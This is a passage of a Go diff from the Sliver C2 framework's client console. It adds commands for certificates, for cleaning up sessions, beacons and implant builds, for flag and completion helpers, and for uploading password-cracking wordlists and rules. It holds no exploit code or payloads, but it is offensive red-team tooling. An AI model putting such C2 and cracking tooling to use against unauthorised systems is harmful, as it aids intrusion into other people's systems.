+	Sliver Implant Framework
+	Copyright (C) 2024  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+func Commands(con *console.SliverClient) []*cobra.Command {
+	certificatesCmd := &cobra.Command{
+		Use:   consts.CertificatesStr,
+		Short: "Certificate management",
+		Long:  help.GetHelpFor([]string{consts.CertificatesStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CertificateInfoCmd(cmd, con, args)
+		},
+		GroupID: consts.GenericHelpGroup,
+	}
+	flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
+		f.BoolP("mtls", "m", false, "Show MTLS certificates")
+		f.BoolP("https", "p", false, "Show HTTPS certificates")
+		f.BoolP("implant", "i", false, "Show implant certificates")
+		f.BoolP("server", "s", false, "Show server certificates")
+		f.StringP("cn", "c", "", "Show certificate information for a provided common name")
+	})
+
+	return []*cobra.Command{
+		certificatesCmd,
+	}
+}
@@ -0,0 +1,141 @@
+package clean
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+)
+
+// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
+func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
+	confirm := false
+	prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := removeSessionsAndBeacons(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	err = removeImplantBuilds(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	err = removeProfiles(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.Printf("All done !\n")
+}
+
+func removeImplantBuilds(con *console.SliverClient) error {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return err
+	}
+	for name, _ := range builds.Configs {
+		_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
+			Name: name,
+		})
+		if err != nil {
+			return err
+		}
+	}
+
+	return nil
+}
+
+func removeProfiles(con *console.SliverClient) error {
+	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return err
+	}
+
+	for _, profile := range profiles.Profiles {
+		_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
+			Name: profile.Name,
+		})
+		if err != nil {
+			return err
+		}
+	}
+
+	return nil
+}
+
+func removeSessionsAndBeacons(con *console.SliverClient) error {
+	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return err
+	}
+
+	for _, session := range sessions.Sessions {
+		_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
+			Request: &commonpb.Request{
+				SessionID: session.ID,
+				Timeout:   flags.DefaultTimeout,
+			},
+			Force: false,
+		})
+		if err != nil {
+			return err
+		}
+	}
+
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return err
+	}
+
+	for _, beacon := range beacons.Beacons {
+		_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+// Commands returns the `exit` command.
+func Command(con *console.SliverClient) []*cobra.Command {
+	return []*cobra.Command{{
+		Use:   "clean",
+		Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
+		Run: func(cmd *cobra.Command, args []string) {
+			CleanCmd(cmd, con, args)
+		},
+		GroupID: constants.GenericHelpGroup,
+	}}
+}
@@ -0,0 +1,135 @@
+package command
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"strings"
+
+	client "github.com/bishopfox/sliver/client/console"
+	"github.com/reeflective/console"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Bind is a convenience function to bind flags to a given command.
+// name - The name of the flag set (can be empty).
+// cmd  - The command to which the flags should be bound.
+// flags - A function exposing the flag set through which flags are declared.
+func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
+	flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
+	flags(flagSet)                                           // Let the user bind any number of flags to it.
+
+	if persistent {
+		cmd.PersistentFlags().AddFlagSet(flagSet)
+	} else {
+		cmd.Flags().AddFlagSet(flagSet)
+	}
+}
+
+// BindFlagCompletions is a convenience function for adding completions to a command's flags.
+// cmd - The command owning the flags to complete.
+// bind - A function exposing a map["flag-name"]carapace.Action.
+func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
+	comps := make(carapace.ActionMap)
+	bind(&comps)
+
+	carapace.Gen(cmd).FlagCompletion(comps)
+}
+
+// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key
+// to a comma-separated list of filters to use in order to expose/hide commands based on requirements.
+// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows.
+// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows.
+func RestrictTargets(filters ...string) map[string]string {
+	if len(filters) == 0 {
+		return nil
+	}
+
+	if len(filters) == 1 {
+		return map[string]string{
+			console.CommandFilterKey: filters[0],
+		}
+	}
+
+	filts := strings.Join(filters, ",")
+
+	return map[string]string{
+		console.CommandFilterKey: filts,
+	}
+}
+
+// makeBind returns a commandBinder helper function
+// @menu  - The command menu to which the commands should be bound (either server or implant menu).
+func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
+	return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
+		found := false
+
+		// Ensure the given command group is available in the menu.
+		if group != "" {
+			for _, grp := range cmd.Groups() {
+				if grp.Title == group {
+					found = true
+					break
+				}
+			}
+
+			if !found {
+				cmd.AddGroup(&cobra.Group{
+					ID:    group,
+					Title: group,
+				})
+			}
+		}
+
+		// Bind the command to the root
+		for _, command := range cmds {
+			cmd.AddCommand(command(con)...)
+		}
+	}
+}
+
+// commandBinder is a helper used to bind commands to a given menu, for a given "command help group".
+//
+// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
+// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
+// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
+
+// [ Core ]
+// [ Sessions ]
+// [ Execution ]
+// [ Filesystem ]
+// [ Info ]
+// [ Network (C2)]
+// [ Network tools ]
+// [ Payloads ]
+// [ Privileges ]
+// [ Processes ]
+// [ Aliases ]
+// [ Extensions ]
+
+// Commands not to bind in CLI:
+// - portforwarders
+// - Socks (and wg-socks ?)
+// - shell ?
+
+// Take care of:
+// - double bind help command
+// - double bind session commands
+// - don't bind readline command in CLI.
@@ -19,45 +19,68 @@ package completers
 */

 import (
-	"io/ioutil"
-	"os"
-	"path/filepath"
-	"strings"
+	"net"

-	"github.com/bishopfox/sliver/client/console"
+	"github.com/rsteube/carapace"
 )

-// LocalPathCompleter - Completes a local file system path
-func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	var parent string
-	var partial string
-	fi, err := os.Stat(prefix)
-	if os.IsNotExist(err) {
-		parent = filepath.Dir(prefix)
-		partial = filepath.Base(prefix)
-	} else {
-		if fi.IsDir() {
-			parent = prefix
-			partial = ""
-		} else {
-			parent = filepath.Dir(prefix)
-			partial = filepath.Base(prefix)
+// ClientInterfacesCompleter completes interface addresses on the client host.
+func ClientInterfacesCompleter() carapace.Action {
+	return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
+		ifaces, err := net.Interfaces()
+		if err != nil {
+			return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
 		}
-	}

-	results := []string{}
-	ls, err := ioutil.ReadDir(parent)
-	if err != nil {
-		return results
-	}
-	for _, fi = range ls {
-		if 0 < len(partial) {
-			if strings.HasPrefix(fi.Name(), partial) {
-				results = append(results, filepath.Join(parent, fi.Name()))
+		results := make([]string, 0)
+
+		for _, i := range ifaces {
+			addrs, err := i.Addrs()
+			if err != nil {
+				continue
+			}
+
+			for _, a := range addrs {
+				switch v := a.(type) {
+				case *net.IPAddr:
+					results = append(results, v.IP.String())
+				case *net.IPNet:
+					results = append(results, v.IP.String())
+				default:
+					results = append(results, v.String())
+				}
 			}
-		} else {
-			results = append(results, filepath.Join(parent, fi.Name()))
 		}
-	}
-	return results
+
+		return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
+	})
+}
+
+// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address.
+func LocalProxyCompleter() carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		prefix := ""
+
+		hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
+			switch len(c.Parts) {
+			case 0:
+				return ClientInterfacesCompleter()
+			case 1:
+				return carapace.ActionMessage("server port")
+			default:
+				return carapace.ActionValues()
+			}
+		})
+
+		return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action {
+			switch len(c.Parts) {
+			case 0:
+				return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://")
+			case 1:
+				return hostPort
+			default:
+				return carapace.ActionValues()
+			}
+		}).Invoke(c).Prefix(prefix).ToA()
+	})
 }
@@ -0,0 +1,143 @@
+package crack
+
+import (
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	crackCmd := &cobra.Command{
+		Use:     consts.CrackStr,
+		Short:   "Crack: GPU password cracking",
+		Long:    help.GetHelpFor([]string{consts.CrackStr}),
+		GroupID: consts.GenericHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	crackStationsCmd := &cobra.Command{
+		Use:   consts.StationsStr,
+		Short: "Manage crackstations",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackStationsCmd(cmd, con, args)
+		},
+	}
+	crackCmd.AddCommand(crackStationsCmd)
+
+	wordlistsCmd := &cobra.Command{
+		Use:   consts.WordlistsStr,
+		Short: "Manage wordlists",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackWordlistsCmd(cmd, con, args)
+		},
+	}
+	crackCmd.AddCommand(wordlistsCmd)
+
+	wordlistsAddCmd := &cobra.Command{
+		Use:   consts.AddStr,
+		Short: "Add a wordlist",
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackWordlistsAddCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", "", "wordlist name (blank = filename)")
+	})
+	carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
+	wordlistsCmd.AddCommand(wordlistsAddCmd)
+
+	wordlistsRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove a wordlist",
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackWordlistsRmCmd(cmd, con, args)
+		},
+	}
+	wordlistsCmd.AddCommand(wordlistsRmCmd)
+	carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove"))
+
+	rulesCmd := &cobra.Command{
+		Use:   consts.RulesStr,
+		Short: "Manage rule files",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackRulesCmd(cmd, con, args)
+		},
+	}
+	crackCmd.AddCommand(rulesCmd)
+
+	rulesAddCmd := &cobra.Command{
+		Use:   consts.AddStr,
+		Short: "Add a rules file",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackRulesAddCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", "", "rules name (blank = filename)")
+	})
+	carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
+	rulesCmd.AddCommand(rulesAddCmd)
+
+	rulesRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove rules",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackRulesRmCmd(cmd, con, args)
+		},
+	}
+	carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove"))
+	rulesCmd.AddCommand(rulesRmCmd)
+
+	hcstat2Cmd := &cobra.Command{
+		Use:   consts.Hcstat2Str,
+		Short: "Manage markov hcstat2 files",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackHcstat2Cmd(cmd, con, args)
+		},
+	}
+	crackCmd.AddCommand(hcstat2Cmd)
+
+	hcstat2AddCmd := &cobra.Command{
+		Use:   consts.AddStr,
+		Short: "Add a hcstat2 file",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackHcstat2AddCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
+	})
+	carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
+	hcstat2Cmd.AddCommand(hcstat2AddCmd)
+
+	hcstat2RmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove hcstat2 file",
+		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CrackHcstat2RmCmd(cmd, con, args)
+		},
+	}
+	carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
+	hcstat2Cmd.AddCommand(hcstat2RmCmd)
+
+	return []*cobra.Command{crackCmd}
+}
@@ -0,0 +1,504 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"crypto/sha256"
+	"encoding/hex"
+	"io"
+	"os"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/klauspost/compress/zstd"
+	"github.com/spf13/cobra"
+)
+
+// CrackWordlistsCmd - Manage GPU cracking stations.
+func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(wordlists.Files) == 0 {
+		con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
+	} else {
+		PrintCrackFiles(wordlists, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
+			util.ByteCountBinary(wordlists.CurrentDiskUsage),
+			util.ByteCountBinary(wordlists.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackRulesCmd - Manage GPU cracking stations.
+func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(rules.Files) == 0 {
+		con.PrintInfof("No rules files, add some using `crack rules add`\n")
+	} else {
+		PrintCrackFiles(rules, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
+			util.ByteCountBinary(rules.CurrentDiskUsage),
+			util.ByteCountBinary(rules.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackHcstat2Cmd - Manage GPU cracking stations.
+func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(hcstat2.Files) == 0 {
+		con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
+	} else {
+		PrintCrackFiles(hcstat2, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
+			util.ByteCountBinary(hcstat2.CurrentDiskUsage),
+			util.ByteCountBinary(hcstat2.MaxDiskUsage),
+		)
+	}
+}
+
+func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Name", "Size"})
+	for _, file := range crackFiles.Files {
+		tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
+	wordlistTable := table.NewWriter()
+	wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
+	wordlistTable.SetStyle(settings.GetTableStyle(con))
+	wordlistTable.AppendHeader(table.Row{"Name", "Size"})
+
+	rulesTable := table.NewWriter()
+	rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
+	rulesTable.SetStyle(settings.GetTableStyle(con))
+	rulesTable.AppendHeader(table.Row{"Name", "Size"})
+
+	hcTable := table.NewWriter()
+	hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
+	hcTable.SetStyle(settings.GetTableStyle(con))
+	hcTable.AppendHeader(table.Row{"Name", "Size"})
+
+	wordlists := 0
+	rules := 0
+	hc := 0
+	for _, file := range crackFiles.Files {
+		switch file.Type {
+		case clientpb.CrackFileType_WORDLIST:
+			wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			wordlists++
+		case clientpb.CrackFileType_RULES:
+			rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			rules++
+		case clientpb.CrackFileType_MARKOV_HCSTAT2:
+			hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			hc++
+		}
+	}
+
+	if wordlists > 0 {
+		con.Printf("%s\n", wordlistTable.Render())
+	}
+	if rules > 0 {
+		if wordlists > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", rulesTable.Render())
+	}
+	if hc > 0 {
+		if wordlists > 0 || rules > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", hcTable.Render())
+	}
+	con.Println()
+	con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
+	con.Printf("Disk quota %02.2f%% - %s of %s\n",
+		(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
+		util.ByteCountBinary(crackFiles.CurrentDiskUsage),
+		util.ByteCountBinary(crackFiles.MaxDiskUsage),
+	)
+}
+
+// CrackWordlistsAddCmd - Manage GPU cracking stations.
+func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	wordlistStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || wordlistStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = wordlistStat.Name()
+	}
+	wordlist, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer wordlist.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_WORDLIST,
+		Name:             name,
+		UncompressedSize: wordlistStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(wordlist, crackFile, con)
+}
+
+// CrackRulesAddCmd - add a rules file.
+func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	rulesStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || rulesStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = rulesStat.Name()
+	}
+	rules, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer rules.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_RULES,
+		Name:             name,
+		UncompressedSize: rulesStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(rules, crackFile, con)
+}
+
+// CrackHcstat2AddCmd - add a hcstat2 file.
+func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	hcstat2Stat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || hcstat2Stat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = hcstat2Stat.Name()
+	}
+	hcstat2, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer hcstat2.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_MARKOV_HCSTAT2,
+		Name:             name,
+		UncompressedSize: hcstat2Stat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(hcstat2, crackFile, con)
+}
+
+func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) {
+	digest := sha256.New()
+	wordlistReader := io.TeeReader(localFile, digest)
+
+	chunks := make(chan []byte, 1) // Chunks are in-memory!
+
+	var chunkReaderErr error
+	go func() {
+		chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
+	}()
+	n := uint32(0)
+	total := int64(0)
+	errors := []error{}
+	for chunk := range chunks {
+		total += int64(len(chunk))
+		con.PrintInfof("Uploading %s (chunk %d - %s) ...",
+			util.ByteCountBinary(total),
+			n,
+			util.ByteCountBinary(int64(len(chunk))),
+		)
+		_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
+			CrackFileID: crackFile.ID,
+			N:           n,
+			Data:        chunk,
+		})
+		n++
+		if err != nil {
+			errors = append(errors, err)
+			continue
+		}
+	}
+	con.Printf(console.Clearln + "\r")
+	if chunkReaderErr != nil {
+		con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
+		return
+	}
+	if len(errors) > 0 {
+		for _, err := range errors {
+			con.PrintErrorf("Failed to upload chunk: %s\n", err)
+		}
+		return
+	}
+	_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
+		ID:       crackFile.ID,
+		Sha2_256: hex.EncodeToString(digest.Sum(nil)),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to complete file upload: %s\n", err)
+		return
+	}
+	con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
+}
+
+func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
+	defer close(chunks)
+	start := int64(0)
+	tmpFile, err := os.CreateTemp("", "sliver-wordlist")
+	if err != nil {
+		return err
+	}
+	defer tmpFile.Close()
+	compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
+	for {
+		readBuf := make([]byte, 32*1024*1024) // 32MB
+		readN, readErr := wordlistReader.Read(readBuf)
+		if readErr != nil && readErr != io.EOF {
+			return err
+		}
+		if readN != 0 {
+			_, err := compressor.Write(readBuf[:readN])
+			if err != nil {
+				return err
+			}
+			compressor.Flush()
+			tmpFileStat, err := os.Stat(tmpFile.Name())
+			if err != nil {
+				return err
+			}
+			if tmpFileStat.Size()-start >= chunkSize {
+				stop := start + chunkSize
+				chunk, err := readChunkAt(tmpFile, start, chunkSize)
+				if err != nil {
+					return err
+				}
+				chunks <- chunk
+				start = stop
+			}
+		}
+		if readErr == io.EOF {
+			chunk, err := readChunkAt(tmpFile, start, chunkSize)
+			if err != nil {
+				return err
+			}
+			chunks <- chunk
+			return nil
+		}
+	}
+}
+
+func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
+	chunkBuf := make([]byte, chunkSize)
+	n, err := tmpFile.ReadAt(chunkBuf, offset)
+	if err != nil && err != io.EOF {
+		return nil, err
+	}
+	return chunkBuf[:n], nil
+}
+
